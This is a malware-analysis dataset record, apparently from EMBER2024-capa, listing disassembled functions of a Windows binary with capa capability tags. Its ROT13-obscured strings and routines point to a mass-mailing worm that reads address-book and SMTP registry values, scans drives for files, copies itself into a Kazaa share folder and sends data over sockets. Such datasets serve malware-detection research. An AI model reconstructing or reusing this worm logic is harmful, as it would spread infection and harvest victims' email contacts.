joyce8/EMBER2024-capa huggingface dataset:
Function at 0x406176
Capabilities:
Copy file
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
push ebx
lea eax, [ebp - 0x168]
push str.FbsgjnerXnmnnGenafsre
push eax
mov dword [ebp - 8], 0x100
call fcn.00404398
lea eax, [ebp - 0x128]
push str.QyQve0
push eax
call fcn.00404398
push dword [ebp - 8]
xor ebx, ebx
lea eax, [ebp - 0x108]
push ebx
push eax
call fcn.00408800
add esp, 0x1c
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ebp - 0x168]
push ebx
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406337
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
lea eax, [ebp - 0x128]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406337
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x108], bl
je 0x406337
push esi
lea eax, [ebp - 0x108]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
call edi
cmp byte [ebp + eax - 0x109], 0x2f
jne 0x406245
lea eax, [ebp - 0x108]
push eax
call edi
mov byte [ebp + eax - 0x109], 0x5c
lea eax, [ebp - 0x108]
push eax
call edi
cmp byte [ebp + eax - 0x109], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x40626c
lea eax, [ebp - 0x108]
push 0x412100
push eax
call esi
call fcn.00404538
movzx eax, ax
push 0xa
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x108]
push dword [edx*4 + 0x420e6c]
push eax
call edi
lea eax, [ebp + eax - 0x108]
push eax
call fcn.00404398
pop ecx
lea eax, [ebp - 0x108]
pop ecx
push 0x4120ac
push eax
call esi
call fcn.00404538
movzx eax, ax
push 6
cdq
pop ecx
idiv ecx
cmp edx, ebx
jl 0x406307
cmp edx, 1
jle 0x4062f2
cmp edx, 3
jle 0x4062dd
cmp edx, 4
jne 0x406307
lea eax, [ebp - 0x108]
push 0x420f3c
push eax
call esi
push 0x420f38
jmp 0x40631a
lea eax, [ebp - 0x108]
push 0x420f34
push eax
call esi
push 0x4120b0
jmp 0x40631a
lea eax, [ebp - 0x108]
push 0x420f30
push eax
call esi
push 0x420b0c
jmp 0x40631a
lea eax, [ebp - 0x108]
push 0x420f2c
push eax
call esi
push 0x420f28
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x108]
push 1
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406438
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1000c
call fcn.004095f0
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 3
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x406504
cmp eax, 0xffffffff
je 0x406504
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
lea ecx, [ebp + 8]
push ebx
push ecx
mov edi, 0xfffd
lea ecx, [ebp - 0x1000c]
push edi
push ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp + 8], ebx
push eax
call esi
mov eax, dword [ebp + 8]
cmp eax, ebx
je 0x4064f5
cmp eax, 0xffff
jae 0x4064f5
add dword [ebp - 4], eax
mov byte [ebp + eax - 0x1000c], bl
push eax
lea eax, [ebp - 0x1000c]
push eax
call fcn.0040650a
push dword [ebp + 8]
lea eax, [ebp - 0x1000c]
push eax
call fcn.0040633a
add esp, 0x10
add dword [ebp - 8], eax
jne 0x4064e0
cmp dword [ebp - 4], 0x4b000
ja 0x4064f5
lea eax, [ebp + 8]
push ebx
push eax
lea eax, [ebp - 0x1000c]
push edi
push eax
push dword [ebp - 0xc]
mov dword [ebp + 8], ebx
jmp 0x406499
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
jmp 0x406507
push 1
pop eax
pop ebx
leave
ret

Function at 0x4065fc
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
lea eax, [ebp - 0x84]
push str.Grzcbenel_Vagrearg_Svyrf
push eax
call fcn.00404398
lea eax, [ebp - 0x44]
push str.Ybpny_Frggvatf
push eax
call fcn.00404398
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
add esp, 0x10
and dword [ebp - 4], 0
mov esi, 0x184
mov ebx, 0x412100
push esi
lea eax, [ebp - 0x208]
push 0
push eax
call fcn.00408800
add esp, 0xc
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x208]
push esi
push eax
jne 0x406666
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
jmp 0x406671
push str.USERPROFILE
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
cmp byte [ebp - 0x208], 0
je 0x4066d8
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp byte [ebp + eax - 0x209], 0x5c
je 0x40669b
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
cmp dword [ebp - 4], 1
jne 0x4066b8
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x208]
push eax
call edi
lea eax, [ebp - 0x208]
push ebx
push eax
call edi
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x208]
push eax
call edi
lea eax, [ebp - 0x208]
push 5
push eax
call fcn.004066ea
pop ecx
pop ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x40663e
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4066ea
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
xor edi, edi
cmp dword [ebp + 0xc], edi
jle 0x406889
mov esi, dword [ebp + 8]
cmp esi, edi
je 0x406889
cmp byte [esi], 0
je 0x406889
cmp dword [0x42e9b4], edi
je 0x406729
push 0x800
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x406714
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
push ebx
lea eax, [ebp - 0x11c]
push esi
push eax
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [ebp - 0x11c]
push eax
call ebx
cmp byte [ebp + eax - 0x11d], 0x5c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
je 0x406767
lea eax, [ebp - 0x11c]
push 0x412100
push eax
call esi
lea eax, [ebp - 0x11c]
push 0x420fc0
push eax
call esi
push 0x140
lea eax, [ebp - 0x25c]
push 0
push eax
call fcn.00408800
add esp, 0xc
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
lea eax, [ebp - 0x25c]
push eax
jne 0x4067c1
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
jne 0x4067b5
and dword [ebp - 4], 0
cmp dword [ebp - 4], 0
je 0x406884
jmp 0x4067d2
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x406875
cmp byte [ebp - 0x230], 0x2e
jne 0x4067f6
cmp byte [ebp - 0x22f], 0
je 0x40678f
cmp byte [ebp - 0x22f], 0x2e
jne 0x4067f6
cmp byte [ebp - 0x22e], 0
je 0x40678f
push dword [ebp + 8]
lea eax, [ebp - 0x11c]
push eax
call edi
lea eax, [ebp - 0x11c]
push eax
call ebx
cmp byte [ebp + eax - 0x11d], 0x5c
je 0x406823
lea eax, [ebp - 0x11c]
push 0x412100
push eax
call esi
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x11c]
push eax
call esi
mov eax, dword [ebp - 0x25c]
and eax, 0x10
cmp al, 0x10
jne 0x406860
push 0x4b
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp + 0xc]
dec eax
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004066ea
pop ecx
pop ecx
jmp 0x40678f
lea eax, [ebp - 0x25c]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00406890
jmp 0x406859
cmp dword [ebp - 4], 0
je 0x406884
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
pop ebx
jmp 0x40688c
push 1
pop eax
pop edi
pop esi
leave
ret
Function at 0x406a5a
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0xc], esi
je 0x406b63
cmp esi, 0xffffffff
je 0x406b63
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
push ebx
push ebx
push 2
push ebx
push esi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
cmp eax, ebx
mov dword [ebp - 8], eax
je 0x406b5e
cmp eax, 0xffffffff
je 0x406b5e
push edi
push ebx
push ebx
push ebx
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edi, eax
cmp edi, ebx
jne 0x406ada
push 3
pop ebx
jmp 0x406b47
mov eax, dword [edi + 0x64]
mov ecx, dword [edi + 0x60]
cmp eax, ebx
jbe 0x406b40
mov dword [ebp + 8], ecx
mov dword [ebp - 4], eax
mov esi, dword [ebp + 8]
push 0x80
lea eax, [ebp - 0x90]
push ebx
push eax
call fcn.00408800
mov ecx, dword [ebp - 0x10]
add esp, 0xc
xor eax, eax
cmp esi, ecx
jae 0x406b37
cmp eax, 0x44
jae 0x406b26
mov dl, byte [esi + edi]
mov byte [ebp + eax - 0x90], dl
cmp byte [esi + edi], bl
je 0x406b26
inc eax
inc esi
inc esi
cmp esi, ecx
jb 0x406b0b
cmp eax, ebx
jbe 0x406b37
lea eax, [ebp - 0x90]
push eax
call fcn.0040642a
pop ecx
add dword [ebp + 8], 0x44
dec dword [ebp - 4]
jne 0x406aea
push edi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
jmp 0x406b66
push 2
pop ebx
jmp 0x406b51
push 1
pop eax
pop esi
pop ebx
leave
ret

Function at 0x406b6a
Capabilities:
Get common file path
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
mov esi, 0x104
lea eax, [ebp - 0x104]
push esi
push 0
push eax
call fcn.00408800
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov bl, byte [ebp - 0x104]
lea eax, [ebp - 0x103]
push 0x421004
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x104]
push 0xf
push eax
call fcn.004066ea
pop ecx
mov byte [ebp - 0x104], 0x43
pop ecx
cmp byte [ebp - 0x104], bl
je 0x406c03
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
je 0x406be8
cmp eax, 6
jne 0x406c03
push 0x1fa0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x104]
push 0xf
push eax
call fcn.004066ea
pop ecx
pop ecx
inc byte [ebp - 0x104]
cmp byte [ebp - 0x104], 0x5a
jl 0x406bc9
pop esi
pop ebx
leave
ret
Function at 0x406c56
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
push ebx
lea eax, [ebp - 0x58]
push str.FbsgjnerZvpebfbsgJNOJNO4Jno_Svyr_Anzr
push eax
call fcn.00404398
pop ecx
lea eax, [ebp - 4]
pop ecx
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x58]
push ebx
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406ce0
push 0x100
lea eax, [ebp - 0x158]
push ebx
push eax
call fcn.00408800
add esp, 0xc
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x100
push eax
lea eax, [ebp - 0x158]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [ebp - 0x158], bl
je 0x406ce0
lea eax, [ebp - 0x158]
push eax
call fcn.00406a5a
pop ecx
pop ebx
leave
ret
Function at 0x406fb1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
push edi
xor ebx, ebx
push 0x400
lea eax, [ebp - 0x400]
push ebx
push eax
call fcn.00408800
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, dword [sym.imp.WSOCK32.dll_htons]
mov word [ebp - 0x400], ax
mov ax, word [ebp + 0x14]
push 1
mov word [ebp - 0x3fe], ax
call edi
mov word [ebp - 0x3fc], ax
lea eax, [ebp - 0x3f4]
push eax
mov word [ebp - 0x3fa], bx
push dword [ebp + 0x10]
mov word [ebp - 0x3f8], bx
mov word [ebp - 0x3f6], bx
call fcn.0040706a
pop ecx
mov esi, eax
pop ecx
add esi, 0xc
push 0xf
call edi
mov word [ebp + esi - 0x400], ax
inc esi
push 1
inc esi
call edi
push 0x10
mov word [ebp + esi - 0x400], ax
push dword [ebp + 0xc]
add esi, 2
lea eax, [ebp - 0x400]
push ebx
push esi
push eax
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_sendto]
xor ecx, ecx
pop edi
test eax, eax
setle cl
pop esi
mov eax, ecx
pop ebx
leave
ret

Function at 0x40740f
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov esi, str.iphlpapi.dll
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x40742d
cmp eax, 0xffffffff
jne 0x407434
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x40750d
cmp eax, 0xffffffff
je 0x40750d
push str.GetNetworkParams
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x40750d
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov esi, 0x4000
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [ebp - 0xc]
mov dword [ebp - 4], eax
push ecx
push eax
mov dword [ebp - 0xc], esi
call edi
test eax, eax
jne 0x40750d
and dword [ebp - 8], eax
mov eax, dword [ebp - 4]
lea edi, [eax + 0x10c]
test edi, edi
je 0x4074fa
lea esi, [edi + 4]
test esi, esi
je 0x4074f6
push 0x35
mov word [ebp - 0x1c], 2
call dword [sym.imp.WSOCK32.dll_htons]
push esi
mov word [ebp - 0x1a], ax
call dword [sym.imp.WSOCK32.dll_inet_addr]
test eax, eax
mov dword [ebp - 0x18], eax
je 0x4074c3
cmp eax, 0xffffffff
jne 0x4074d8
push esi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x4074f6
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
test eax, eax
je 0x4074f6
cmp eax, 0xffffffff
je 0x4074f6
push dword [ebp + 8]
lea eax, [ebp - 0x1c]
push eax
call fcn.00406ce3
pop ecx
mov dword [ebp - 8], eax
test eax, eax
pop ecx
jne 0x4074fa
mov edi, dword [edi]
jmp 0x407493
push dword [ebp - 4]
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 8]
jmp 0x40750f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40775d
Capabilities:
Resolve dns
Set socket configuration

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WSOCK32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x40777a
test esi, esi
jne 0x40778c
cmp byte [edi], 0x30
je 0x407793
push edi
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x40778c
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
cmp esi, 0xffffffff
jne 0x407793
xor esi, esi
mov eax, esi
pop edi
pop esi
ret
Function at 0x407c56
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp dword [ebp + 0x10], 0
je 0x407c99
lea eax, [ebp + 0x14]
push eax
lea eax, [ebp - 0x400]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wvsprintfA]
lea eax, [ebp - 0x400]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x400]
push eax
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_send]
push esi
mov esi, 0x400
push dword [ebp + 0xc]
lea eax, [ebp - 0x400]
push esi
push eax
push dword [ebp + 8]
call fcn.00407cf8
add esp, 0x10
test eax, eax
jle 0x407cf3
lea ecx, [ebp - 0x400]
xor eax, eax
mov dl, byte [ecx]
cmp dl, 0x20
je 0x407ccd
cmp dl, 9
jne 0x407cd0
inc ecx
jmp 0x407cc1
mov dl, byte [ecx]
cmp dl, 0x30
jl 0x407ce9
cmp dl, 0x39
jg 0x407ce9
movsx edx, dl
lea eax, [eax + eax*4]
inc ecx
lea eax, [edx + eax*2 - 0x30]
jmp 0x407cd0
cmp byte [ecx], 0x2d
jne 0x407cf5
push dword [ebp + 0xc]
jmp 0x407ca2
xor eax, eax
pop esi
leave
ret

Function at 0x407cf8
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
and dword [ebp - 4], 0
push ebx
push edi
push 1
pop edi
cmp dword [ebp + 0x10], edi
jle 0x407d99
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0xc], edi
mov dword [ebp - 8], eax
sub dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x407d6b
xor edx, edx
mov ecx, 0x3e8
div ecx
xor edx, edx
mov dword [ebp - 0x114], ebx
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
div ecx
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x118]
push eax
xor eax, eax
push eax
push eax
push ecx
push eax
imul edx, edx, 0x3e8
mov dword [ebp - 0x10], edx
call dword [sym.imp.WSOCK32.dll_select]
test eax, eax
jle 0x407d99
push 0
push edi
push dword [ebp - 8]
push ebx
call dword [sym.imp.WSOCK32.dll_recv]
test eax, eax
jl 0x407da7
je 0x407d99
mov eax, dword [ebp - 8]
inc dword [ebp - 4]
mov cl, byte [eax]
inc eax
cmp cl, 0xa
mov dword [ebp - 8], eax
je 0x407d99
mov ecx, dword [ebp - 0xc]
add ecx, eax
cmp ecx, dword [ebp + 0x10]
jl 0x407d22
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
and byte [eax + ecx], 0
pop edi
pop ebx
leave
ret
or eax, 0xffffffff
jmp 0x407da3
Function at 0x407dac
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push ebx
lea eax, [ebp - 0x124]
push str.FbsgjnerZvpebfbsgVagrearg_Nppbhag_ZnantreNppbhagf
push eax
call fcn.00404398
lea eax, [ebp - 0xa4]
push str.FZGC_Freire
push eax
call fcn.00404398
add esp, 0x10
lea eax, [ebp - 4]
xor ebx, ebx
push eax
push 0x20019
lea eax, [ebp - 0x124]
push ebx
push eax
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x407e05
push 1
pop eax
jmp 0x407f00
push esi
mov esi, 0x100
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea eax, [ebp - 0x324]
push esi
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], 1
call edi
test eax, eax
jne 0x407eed
lea eax, [ebp - 0x10]
push eax
push 0x20019
lea eax, [ebp - 0x324]
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x407ed6
push esi
lea eax, [ebp - 0x224]
push ebx
push eax
call fcn.00408800
add esp, 0xc
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], esi
push eax
lea eax, [ebp - 0x224]
push eax
push ebx
lea eax, [ebp - 0xa4]
push ebx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x407ec8
lea eax, [ebp - 0x224]
push eax
call fcn.0040775d
cmp eax, ebx
pop ecx
mov dword [ebp - 0x20], eax
je 0x407ec8
push 0x19
mov word [ebp - 0x24], 2
call dword [sym.imp.WSOCK32.dll_htons]
push dword [ebp + 8]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x24]
push eax
call fcn.00407944
pop ecx
test eax, eax
pop ecx
jne 0x407ec8
mov dword [ebp - 0xc], 1
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0xc], ebx
jne 0x407eed
mov eax, dword [ebp - 8]
inc dword [ebp - 8]
lea ecx, [ebp - 0x324]
push esi
push ecx
push eax
push dword [ebp - 4]
jmp 0x407e28
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
cmp dword [ebp - 0xc], ebx
pop edi
pop esi
sete al
pop ebx
leave
ret
Function at 0x407f03
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
test edx, edx
jne 0x407f11
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0x10]
cmp esi, 8
push edi
not eax
mov ecx, 0xff
jl 0x407ffb
mov edi, esi
shr edi, 3
mov ebx, edi
neg ebx
lea esi, [esi + ebx*8]
mov dword [ebp + 0x10], esi
movzx ebx, byte [edx]
mov esi, eax
and esi, ecx
xor esi, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [esi*4 + 0x4106a8]
xor eax, ebx
inc edx
mov esi, eax
movzx ebx, byte [edx]
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x4106a8]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x4106a8]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x4106a8]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x4106a8]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
movzx ebx, byte [edx + 1]
mov esi, dword [esi*4 + 0x4106a8]
shr eax, 8
xor esi, eax
inc edx
mov eax, esi
and eax, ecx
xor eax, ebx
movzx ebx, byte [edx + 1]
mov eax, dword [eax*4 + 0x4106a8]
shr esi, 8
xor eax, esi
inc edx
mov esi, eax
and esi, ecx
xor esi, ebx
shr eax, 8
mov esi, dword [esi*4 + 0x4106a8]
xor eax, esi
inc edx
dec edi
jne 0x407f39
mov esi, dword [ebp + 0x10]
test esi, esi
je 0x408018
movzx ebx, byte [edx]
mov edi, eax
and edi, ecx
xor edi, ebx
shr eax, 8
mov edi, dword [edi*4 + 0x4106a8]
xor eax, edi
inc edx
dec esi
jne 0x407fff
pop edi
pop esi
not eax
pop ebx
pop ebp
ret
Function at 0x4082df
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 4]
push esi
push eax
mov ebx, 0x400
lea eax, [ebp - 0x408]
push ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call edi
test eax, eax
je 0x408352
cmp dword [ebp - 4], esi
je 0x408352
push dword [ebp - 4]
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.00407f03
add esp, 0xc
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push esi
push eax
lea eax, [ebp - 0x408]
push ebx
push eax
push dword [ebp + 8]
jmp 0x40831a
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40da21
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x421a60
cmp edx, dword [eax]
je 0x40da43
add eax, 8
inc ecx
cmp eax, 0x421af0
jl 0x40da34
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x421a60]
jne 0x40db71
mov eax, dword [0x42ea40]
cmp eax, 1
je 0x40db4b
test eax, eax
jne 0x40da74
cmp dword [0x421304], 1
je 0x40db4b
cmp edx, 0xfc
je 0x40db71
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40daab
lea eax, [ebp - 0x1a4]
push 0x410f44
push eax
call fcn.00408860
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00408780
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40daee
lea eax, [ebp - 0x1a4]
push eax
call fcn.00408780
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x410f40
push edi
call fcn.00408ee0
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x410f24
push eax
call fcn.00408860
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00408870
lea eax, [ebp - 0xa0]
push 0x410f20
push eax
call fcn.00408870
push dword [esi + 0x421a64]
lea eax, [ebp - 0xa0]
push eax
call fcn.00408870
push 0x12010
lea eax, [ebp - 0xa0]
push 0x410ef8
push eax
call fcn.0040f053
add esp, 0x2c
pop edi
jmp 0x40db71
lea eax, [ebp + 8]
lea esi, [esi + 0x421a64]
push 0
push eax
push dword [esi]
call fcn.00408780
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret